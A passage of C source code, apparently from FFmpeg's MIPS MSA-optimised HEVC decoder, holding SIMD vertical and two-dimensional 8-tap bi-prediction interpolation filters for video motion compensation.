filt0, filt1, filt2, filt3, dst32, dst32, dst32, dst32);
dst54 = const_vec;
DPADD_SB4_SH(src6554, src8776, src10998, src12111110,
filt0, filt1, filt2, filt3, dst54, dst54, dst54, dst54);
dst76 = const_vec;
DPADD_SB4_SH(src8776, src10998, src12111110, src14131312,
filt0, filt1, filt2, filt3, dst76, dst76, dst76, dst76);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst10, dst32, dst54, dst76, 7,
dst10, dst32, dst54, dst76);
PCKEV_B2_SH(dst32, dst10, dst76, dst54, dst10, dst54);
if (res == 2) {
ST_W2(dst10, 0, 1, dst, dst_stride);
} else if (res == 4) {
ST_W4(dst10, 0, 1, 2, 3, dst, dst_stride);
} else {
ST_W4(dst10, 0, 1, 2, 3, dst, dst_stride);
dst += 4 * dst_stride;
ST_W2(dst54, 0, 1, dst, dst_stride);
}
}
}
static void hevc_vt_bi_8t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5;
v16i8 src6, src7, src8, src9, src10;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src54_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src65_r, src87_r, src109_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v8i16 filt0, filt1, filt2, filt3;
v8i16 filter_vec, const_vec;
src0_ptr -= (3 * src_stride);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
ILVR_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_r, src32_r, src54_r, src21_r);
ILVR_B2_SB(src4, src3, src6, src5, src43_r, src65_r);
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src7, src8, src9, src10);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += (4 * src2_stride);
XORI_B4_128_SB(src7, src8, src9, src10);
ILVR_B4_SB(src7, src6, src8, src7, src9, src8, src10, src9,
src76_r, src87_r, src98_r, src109_r);
dst0_r = const_vec;
DPADD_SB4_SH(src10_r, src32_r, src54_r, src76_r,
filt0, filt1, filt2, filt3,
dst0_r, dst0_r, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB4_SH(src21_r, src43_r, src65_r, src87_r,
filt0, filt1, filt2, filt3,
dst1_r, dst1_r, dst1_r, dst1_r);
dst2_r = const_vec;
DPADD_SB4_SH(src32_r, src54_r, src76_r, src98_r,
filt0, filt1, filt2, filt3,
dst2_r, dst2_r, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB4_SH(src43_r, src65_r, src87_r, src109_r,
filt0, filt1, filt2, filt3,
dst3_r, dst3_r, dst3_r, dst3_r);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
ST_D4(dst0_r, dst1_r, 0, 1, 0, 1, dst, dst_stride);
dst += (4 * dst_stride);
src10_r = src54_r;
src32_r = src76_r;
src54_r = src98_r;
src21_r = src65_r;
src43_r = src87_r;
src65_r = src109_r;
src6 = src10;
}
}
static void hevc_vt_bi_8t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
int32_t loop_cnt;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v8i16 in0, in1, in2, in3, in4, in5, in6, in7;
v16i8 src10_r, src32_r, src54_r, src76_r, src98_r;
v16i8 src21_r, src43_r, src65_r, src87_r, src109_r;
v8i16 dst0_r, dst1_r, dst2_r, dst3_r;
v16i8 src10_l, src32_l, src54_l, src76_l, src98_l;
v16i8 src21_l, src43_l, src65_l, src87_l, src109_l;
v16i8 src2110, src4332, src6554, src8776, src10998;
v8i16 dst0_l, dst1_l;
v8i16 filt0, filt1, filt2, filt3;
v8i16 filter_vec, const_vec;
src0_ptr -= (3 * src_stride);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
ILVR_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_r, src32_r, src54_r, src21_r);
ILVR_B2_SB(src4, src3, src6, src5, src43_r, src65_r);
ILVL_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_l, src32_l, src54_l, src21_l);
ILVL_B2_SB(src4, src3, src6, src5, src43_l, src65_l);
ILVR_D3_SB(src21_l, src10_l, src43_l, src32_l, src65_l, src54_l,
src2110, src4332, src6554);
for (loop_cnt = (height >> 2); loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src7, src8, src9, src10);
src0_ptr += (4 * src_stride);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
LD_SH4((src1_ptr + 8), src2_stride, in4, in5, in6, in7);
src1_ptr += (4 * src2_stride);
ILVR_D2_SH(in5, in4, in7, in6, in4, in5);
XORI_B4_128_SB(src7, src8, src9, src10);
ILVR_B4_SB(src7, src6, src8, src7, src9, src8, src10, src9,
src76_r, src87_r, src98_r, src109_r);
ILVL_B4_SB(src7, src6, src8, src7, src9, src8, src10, src9,
src76_l, src87_l, src98_l, src109_l);
ILVR_D2_SB(src87_l, src76_l, src109_l, src98_l, src8776, src10998);
dst0_r = const_vec;
DPADD_SB4_SH(src10_r, src32_r, src54_r, src76_r,
filt0, filt1, filt2, filt3,
dst0_r, dst0_r, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB4_SH(src21_r, src43_r, src65_r, src87_r,
filt0, filt1, filt2, filt3,
dst1_r, dst1_r, dst1_r, dst1_r);
dst2_r = const_vec;
DPADD_SB4_SH(src32_r, src54_r, src76_r, src98_r,
filt0, filt1, filt2, filt3,
dst2_r, dst2_r, dst2_r, dst2_r);
dst3_r = const_vec;
DPADD_SB4_SH(src43_r, src65_r, src87_r, src109_r,
filt0, filt1, filt2, filt3,
dst3_r, dst3_r, dst3_r, dst3_r);
dst0_l = const_vec;
DPADD_SB4_SH(src2110, src4332, src6554, src8776,
filt0, filt1, filt2, filt3,
dst0_l, dst0_l, dst0_l, dst0_l);
dst1_l = const_vec;
DPADD_SB4_SH(src4332, src6554, src8776, src10998,
filt0, filt1, filt2, filt3,
dst1_l, dst1_l, dst1_l, dst1_l);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst2_r, dst3_r, 7,
dst0_r, dst1_r, dst2_r, dst3_r);
HEVC_BI_RND_CLIP2(in4, in5, dst0_l, dst1_l, 7, dst0_l, dst1_l);
PCKEV_B2_SH(dst1_r, dst0_r, dst3_r, dst2_r, dst0_r, dst1_r);
dst0_l = (v8i16) __msa_pckev_b((v16i8) dst1_l, (v16i8) dst0_l);
ST_D4(dst0_r, dst1_r, 0, 1, 0, 1, dst, dst_stride);
ST_W4(dst0_l, 0, 1, 2, 3, dst + 8, dst_stride);
dst += (4 * dst_stride);
src10_r = src54_r;
src32_r = src76_r;
src54_r = src98_r;
src21_r = src65_r;
src43_r = src87_r;
src65_r = src109_r;
src2110 = src6554;
src4332 = src8776;
src6554 = src10998;
src6 = src10;
}
}
static void hevc_vt_bi_8t_16multx2mult_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height, int32_t width)
{
const uint8_t *src0_ptr_tmp;
const int16_t *src1_ptr_tmp;
uint8_t *dst_tmp;
uint32_t loop_cnt;
uint32_t cnt;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8;
v8i16 in0, in1, in2, in3;
v16i8 src10_r, src32_r, src54_r, src76_r;
v16i8 src21_r, src43_r, src65_r, src87_r;
v8i16 dst0_r, dst1_r;
v16i8 src10_l, src32_l, src54_l, src76_l;
v16i8 src21_l, src43_l, src65_l, src87_l;
v8i16 dst0_l, dst1_l;
v8i16 filt0, filt1, filt2, filt3;
v8i16 filter_vec, const_vec;
src0_ptr -= (3 * src_stride);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
for (cnt = (width >> 4); cnt--;) {
src0_ptr_tmp = src0_ptr;
src1_ptr_tmp = src1_ptr;
dst_tmp = dst;
LD_SB7(src0_ptr_tmp, src_stride,
src0, src1, src2, src3, src4, src5, src6);
src0_ptr_tmp += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
ILVR_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_r, src32_r, src54_r, src21_r);
ILVR_B2_SB(src4, src3, src6, src5, src43_r, src65_r);
ILVL_B4_SB(src1, src0, src3, src2, src5, src4, src2, src1,
src10_l, src32_l, src54_l, src21_l);
ILVL_B2_SB(src4, src3, src6, src5, src43_l, src65_l);
for (loop_cnt = (height >> 1); loop_cnt--;) {
LD_SB2(src0_ptr_tmp, src_stride, src7, src8);
src0_ptr_tmp += (2 * src_stride);
LD_SH2(src1_ptr_tmp, src2_stride, in0, in1);
LD_SH2((src1_ptr_tmp + 8), src2_stride, in2, in3);
src1_ptr_tmp += (2 * src2_stride);
XORI_B2_128_SB(src7, src8);
ILVR_B2_SB(src7, src6, src8, src7, src76_r, src87_r);
ILVL_B2_SB(src7, src6, src8, src7, src76_l, src87_l);
dst0_r = const_vec;
DPADD_SB4_SH(src10_r, src32_r, src54_r, src76_r,
filt0, filt1, filt2, filt3,
dst0_r, dst0_r, dst0_r, dst0_r);
dst1_r = const_vec;
DPADD_SB4_SH(src21_r, src43_r, src65_r, src87_r,
filt0, filt1, filt2, filt3,
dst1_r, dst1_r, dst1_r, dst1_r);
dst0_l = const_vec;
DPADD_SB4_SH(src10_l, src32_l, src54_l, src76_l,
filt0, filt1, filt2, filt3,
dst0_l, dst0_l, dst0_l, dst0_l);
dst1_l = const_vec;
DPADD_SB4_SH(src21_l, src43_l, src65_l, src87_l,
filt0, filt1, filt2, filt3,
dst1_l, dst1_l, dst1_l, dst1_l);
HEVC_BI_RND_CLIP4(in0, in1, in2, in3,
dst0_r, dst1_r, dst0_l, dst1_l, 7,
dst0_r, dst1_r, dst0_l, dst1_l);
PCKEV_B2_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst0_r, dst1_r);
ST_SH2(dst0_r, dst1_r, dst_tmp, dst_stride);
dst_tmp += (2 * dst_stride);
src10_r = src32_r;
src32_r = src54_r;
src54_r = src76_r;
src21_r = src43_r;
src43_r = src65_r;
src65_r = src87_r;
src10_l = src32_l;
src32_l = src54_l;
src54_l = src76_l;
src21_l = src43_l;
src43_l = src65_l;
src65_l = src87_l;
src6 = src8;
}
src0_ptr += 16;
src1_ptr += 16;
dst += 16;
}
}
static void hevc_vt_bi_8t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
hevc_vt_bi_8t_16multx2mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height, 16);
}
static void hevc_vt_bi_8t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
hevc_vt_bi_8t_16multx2mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height, 16);
hevc_vt_bi_8t_8w_msa(src0_ptr + 16, src_stride, src1_ptr + 16, src2_stride,
dst + 16, dst_stride, filter, height);
}
static void hevc_vt_bi_8t_32w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
hevc_vt_bi_8t_16multx2mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height, 32);
}
static void hevc_vt_bi_8t_48w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
hevc_vt_bi_8t_16multx2mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height, 48);
}
static void hevc_vt_bi_8t_64w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter,
int32_t height)
{
hevc_vt_bi_8t_16multx2mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter, height, 64);
}
static void hevc_hv_bi_8t_4w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
uint32_t loop_cnt;
uint64_t tp0, tp1;
v16u8 out;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v8i16 in0 = { 0 }, in1 = { 0 };
v8i16 filt0, filt1, filt2, filt3;
v8i16 filt_h0, filt_h1, filt_h2, filt_h3;
v16i8 mask1, mask2, mask3;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v16i8 vec8, vec9, vec10, vec11, vec12, vec13, vec14, vec15;
v8i16 out0, out1;
v8i16 dst30, dst41, dst52, dst63, dst66, dst97, dst108;
v8i16 dst10, dst32, dst54, dst76, dst98, dst21, dst43, dst65, dst87, dst109;
v4i32 dst0, dst1, dst2, dst3;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr + 16);
src0_ptr -= ((3 * src_stride) + 3);
filter_vec = LD_SH(filter_x);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W4_SH(filter_vec, filt_h0, filt_h1, filt_h2, filt_h3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
/* row 0 row 1 row 2 row 3 */
VSHF_B4_SB(src0, src3, mask0, mask1, mask2, mask3, vec0, vec1, vec2, vec3);
VSHF_B4_SB(src1, src4, mask0, mask1, mask2, mask3, vec4, vec5, vec6, vec7);
VSHF_B4_SB(src2, src5, mask0, mask1, mask2, mask3,
vec8, vec9, vec10, vec11);
VSHF_B4_SB(src3, src6, mask0, mask1, mask2, mask3,
vec12, vec13, vec14, vec15);
dst30 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst41 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst52 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
dst63 = HEVC_FILT_8TAP_SH(vec12, vec13, vec14, vec15, filt0, filt1, filt2,
filt3);
ILVRL_H2_SH(dst41, dst30, dst10, dst43);
ILVRL_H2_SH(dst52, dst41, dst21, dst54);
ILVRL_H2_SH(dst63, dst52, dst32, dst65);
dst66 = (v8i16) __msa_splati_d((v2i64) dst63, 1);
for (loop_cnt = height >> 2; loop_cnt--;) {
LD_SB4(src0_ptr, src_stride, src7, src8, src9, src10);
src0_ptr += (4 * src_stride);
XORI_B4_128_SB(src7, src8, src9, src10);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in0);
src1_ptr += (2 * src2_stride);
LD2(src1_ptr, src2_stride, tp0, tp1);
INSERT_D2_SH(tp0, tp1, in1);
src1_ptr += (2 * src2_stride);
VSHF_B4_SB(src7, src9, mask0, mask1, mask2, mask3,
vec0, vec1, vec2, vec3);
VSHF_B4_SB(src8, src10, mask0, mask1, mask2, mask3,
vec4, vec5, vec6, vec7);
dst97 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst108 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst76 = __msa_ilvr_h(dst97, dst66);
ILVRL_H2_SH(dst108, dst97, dst87, dst109);
dst66 = (v8i16) __msa_splati_d((v2i64) dst97, 1);
dst98 = __msa_ilvr_h(dst66, dst108);
dst0 = HEVC_FILT_8TAP(dst10, dst32, dst54, dst76, filt_h0, filt_h1,
filt_h2, filt_h3);
dst1 = HEVC_FILT_8TAP(dst21, dst43, dst65, dst87, filt_h0, filt_h1,
filt_h2, filt_h3);
dst2 = HEVC_FILT_8TAP(dst32, dst54, dst76, dst98, filt_h0, filt_h1,
filt_h2, filt_h3);
dst3 = HEVC_FILT_8TAP(dst43, dst65, dst87, dst109, filt_h0, filt_h1,
filt_h2, filt_h3);
SRA_4V(dst0, dst1, dst2, dst3, 6);
PCKEV_H2_SH(dst1, dst0, dst3, dst2, out0, out1);
ADDS_SH2_SH(out0, in0, out1, in1, out0, out1);
ADDS_SH2_SH(out0, const_vec, out1, const_vec, out0, out1);
SRARI_H2_SH(out0, out1, 7);
CLIP_SH2_0_255(out0, out1);
out = (v16u8) __msa_pckev_b((v16i8) out1, (v16i8) out0);
ST_W4(out, 0, 1, 2, 3, dst, dst_stride);
dst += (4 * dst_stride);
dst10 = dst54;
dst32 = dst76;
dst54 = dst98;
dst21 = dst65;
dst43 = dst87;
dst65 = dst109;
dst66 = (v8i16) __msa_splati_d((v2i64) dst108, 1);
}
}
static void hevc_hv_bi_8t_8multx1mult_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height, int32_t width)
{
uint32_t loop_cnt;
uint32_t cnt;
const uint8_t *src0_ptr_tmp;
const int16_t *src1_ptr_tmp;
uint8_t *dst_tmp;
v16u8 out;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7;
v8i16 in0, tmp;
v8i16 filt0, filt1, filt2, filt3;
v8i16 filt_h0, filt_h1, filt_h2, filt_h3;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1, mask2, mask3;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v16i8 vec8, vec9, vec10, vec11, vec12, vec13, vec14, vec15;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
v4i32 dst0_r, dst0_l;
v8i16 dst10_r, dst32_r, dst54_r, dst76_r;
v8i16 dst10_l, dst32_l, dst54_l, dst76_l;
src0_ptr -= ((3 * src_stride) + 3);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter_x);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W4_SH(filter_vec, filt_h0, filt_h1, filt_h2, filt_h3);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
for (cnt = width >> 3; cnt--;) {
src0_ptr_tmp = src0_ptr;
dst_tmp = dst;
src1_ptr_tmp = src1_ptr;
LD_SB7(src0_ptr_tmp, src_stride,
src0, src1, src2, src3, src4, src5, src6);
src0_ptr_tmp += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
/* row 0 row 1 row 2 row 3 */
VSHF_B4_SB(src0, src0, mask0, mask1, mask2, mask3,
vec0, vec1, vec2, vec3);
VSHF_B4_SB(src1, src1, mask0, mask1, mask2, mask3,
vec4, vec5, vec6, vec7);
VSHF_B4_SB(src2, src2, mask0, mask1, mask2, mask3,
vec8, vec9, vec10, vec11);
VSHF_B4_SB(src3, src3, mask0, mask1, mask2, mask3,
vec12, vec13, vec14, vec15);
dst0 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst1 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst2 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
dst3 = HEVC_FILT_8TAP_SH(vec12, vec13, vec14, vec15, filt0, filt1,
filt2, filt3);
VSHF_B4_SB(src4, src4, mask0, mask1, mask2, mask3,
vec0, vec1, vec2, vec3);
VSHF_B4_SB(src5, src5, mask0, mask1, mask2, mask3,
vec4, vec5, vec6, vec7);
VSHF_B4_SB(src6, src6, mask0, mask1, mask2, mask3,
vec8, vec9, vec10, vec11);
dst4 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst5 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst6 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
for (loop_cnt = height; loop_cnt--;) {
src7 = LD_SB(src0_ptr_tmp);
src7 = (v16i8) __msa_xori_b((v16u8) src7, 128);
src0_ptr_tmp += src_stride;
in0 = LD_SH(src1_ptr_tmp);
src1_ptr_tmp += src2_stride;
VSHF_B4_SB(src7, src7, mask0, mask1, mask2, mask3,
vec0, vec1, vec2, vec3);
dst7 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1,
filt2, filt3);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst5, dst4, dst54_r, dst54_l);
ILVRL_H2_SH(dst7, dst6, dst76_r, dst76_l);
dst0_r = HEVC_FILT_8TAP(dst10_r, dst32_r, dst54_r, dst76_r,
filt_h0, filt_h1, filt_h2, filt_h3);
dst0_l = HEVC_FILT_8TAP(dst10_l, dst32_l, dst54_l, dst76_l,
filt_h0, filt_h1, filt_h2, filt_h3);
dst0_r >>= 6;
dst0_l >>= 6;
tmp = __msa_pckev_h((v8i16) dst0_l, (v8i16) dst0_r);
ADDS_SH2_SH(tmp, in0, tmp, const_vec, tmp, tmp);
tmp = __msa_srari_h(tmp, 7);
CLIP_SH_0_255(tmp);
out = (v16u8) __msa_pckev_b((v16i8) tmp, (v16i8) tmp);
ST_D1(out, 0, dst_tmp);
dst_tmp += dst_stride;
dst0 = dst1;
dst1 = dst2;
dst2 = dst3;
dst3 = dst4;
dst4 = dst5;
dst5 = dst6;
dst6 = dst7;
}
src0_ptr += 8;
dst += 8;
src1_ptr += 8;
}
}
static void hevc_hv_bi_8t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
hevc_hv_bi_8t_8multx1mult_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y,
height, 8);
}
static void hevc_hv_bi_8t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
uint32_t loop_cnt;
const uint8_t *src0_ptr_tmp;
uint8_t *dst_tmp;
const int16_t *src1_ptr_tmp;
uint64_t tp0, tp1;
v16u8 out;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v16i8 mask0, mask1, mask2, mask3, mask4, mask5, mask6, mask7;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v16i8 vec8, vec9, vec10, vec11, vec12, vec13, vec14, vec15;
v8i16 in0, in1 = { 0 }, out0, out1, tmp, filter_vec, const_vec;
v8i16 filt0, filt1, filt2, filt3, filt_h0, filt_h1, filt_h2, filt_h3;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
v8i16 dst30, dst41, dst52, dst63, dst66, dst97, dst108;
v8i16 dst10, dst32, dst54, dst76, dst98, dst21, dst43, dst65, dst87, dst109;
v8i16 dst10_r, dst32_r, dst54_r, dst76_r;
v8i16 dst10_l, dst32_l, dst54_l, dst76_l;
v4i32 dst0_r, dst0_l, tmp0, tmp1, tmp2, tmp3;
src0_ptr -= ((3 * src_stride) + 3);
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
filter_vec = LD_SH(filter_x);
SPLATI_H4_SH(filter_vec, 0, 1, 2, 3, filt0, filt1, filt2, filt3);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W4_SH(filter_vec, filt_h0, filt_h1, filt_h2, filt_h3);
mask0 = LD_SB(ff_hevc_mask_arr);
mask1 = mask0 + 2;
mask2 = mask0 + 4;
mask3 = mask0 + 6;
src0_ptr_tmp = src0_ptr;
dst_tmp = dst;
src1_ptr_tmp = src1_ptr;
LD_SB7(src0_ptr_tmp, src_stride, src0, src1, src2, src3, src4, src5,
src6);
src0_ptr_tmp += (7 * src_stride);
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
/* row 0 row 1 row 2 row 3 */
VSHF_B4_SB(src0, src0, mask0, mask1, mask2, mask3, vec0, vec1, vec2,
vec3);
VSHF_B4_SB(src1, src1, mask0, mask1, mask2, mask3, vec4, vec5, vec6,
vec7);
VSHF_B4_SB(src2, src2, mask0, mask1, mask2, mask3, vec8, vec9, vec10,
vec11);
VSHF_B4_SB(src3, src3, mask0, mask1, mask2, mask3, vec12, vec13, vec14,
vec15);
dst0 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst1 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst2 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
dst3 = HEVC_FILT_8TAP_SH(vec12, vec13, vec14, vec15, filt0, filt1,
filt2, filt3);
VSHF_B4_SB(src4, src4, mask0, mask1, mask2, mask3, vec0, vec1, vec2,
vec3);
VSHF_B4_SB(src5, src5, mask0, mask1, mask2, mask3, vec4, vec5, vec6,
vec7);
VSHF_B4_SB(src6, src6, mask0, mask1, mask2, mask3, vec8, vec9, vec10,
vec11);
dst4 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1, filt2,
filt3);
dst5 = HEVC_FILT_8TAP_SH(vec4, vec5, vec6, vec7, filt0, filt1, filt2,
filt3);
dst6 = HEVC_FILT_8TAP_SH(vec8, vec9, vec10, vec11, filt0, filt1, filt2,
filt3);
for (loop_cnt = 16; loop_cnt--;) {
src7 = LD_SB(src0_ptr_tmp);
src7 = (v16i8) __msa_xori_b((v16u8) src7, 128);
src0_ptr_tmp += src_stride;
in0 = LD_SH(src1_ptr_tmp);
src1_ptr_tmp += src2_stride;
VSHF_B4_SB(src7, src7, mask0, mask1, mask2, mask3, vec0, vec1, vec2,
vec3);
dst7 = HEVC_FILT_8TAP_SH(vec0, vec1, vec2, vec3, filt0, filt1,
filt2, filt3);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst5, dst4, dst54_r, dst54_l);
ILVRL_H2_SH(dst7, dst6, dst76_r, dst76_l);
dst0_r = HEVC_FILT_8TAP(dst10_r, dst32_r, dst54_r, dst76_r, filt_h0,
filt_h1, filt_h2, filt_h3);
dst0_l = HEVC_FILT_8TAP(dst10_l, dst32_l, dst54_l, dst76_l, filt_h0,
filt_h1, filt_h2, filt_h3);
dst0_r >>= 6;
dst0_l >>= 6;
tmp = __msa_pckev_h((v8i16) dst0_l, (v8i16) dst0_r);
ADDS_SH2_SH(tmp, in0, tmp, const_vec, tmp, tmp);
tmp = __msa_srari_h(tmp, 7);
CLIP_SH_0_255(tmp);
out = (v16u8) __msa_pckev_b((v16i8) tmp, (v16i8) tmp);
ST_D1(out, 0, dst_tmp);
dst_tmp += dst_stride;
dst0 = dst1;
dst1 = dst2;
dst2 = dst3;
dst3 = dst4;
dst4 = dst5;
dst5 = dst6;
dst6 = dst7;
}
src0_ptr += 8;
dst += 8;
src1_ptr += 8;
mask4 = LD_SB(ff_hevc_mask_arr + 16);
mask5 = mask4 + 2;
mask6 = mask4 + 4;
mask7 = mask4 + 6;
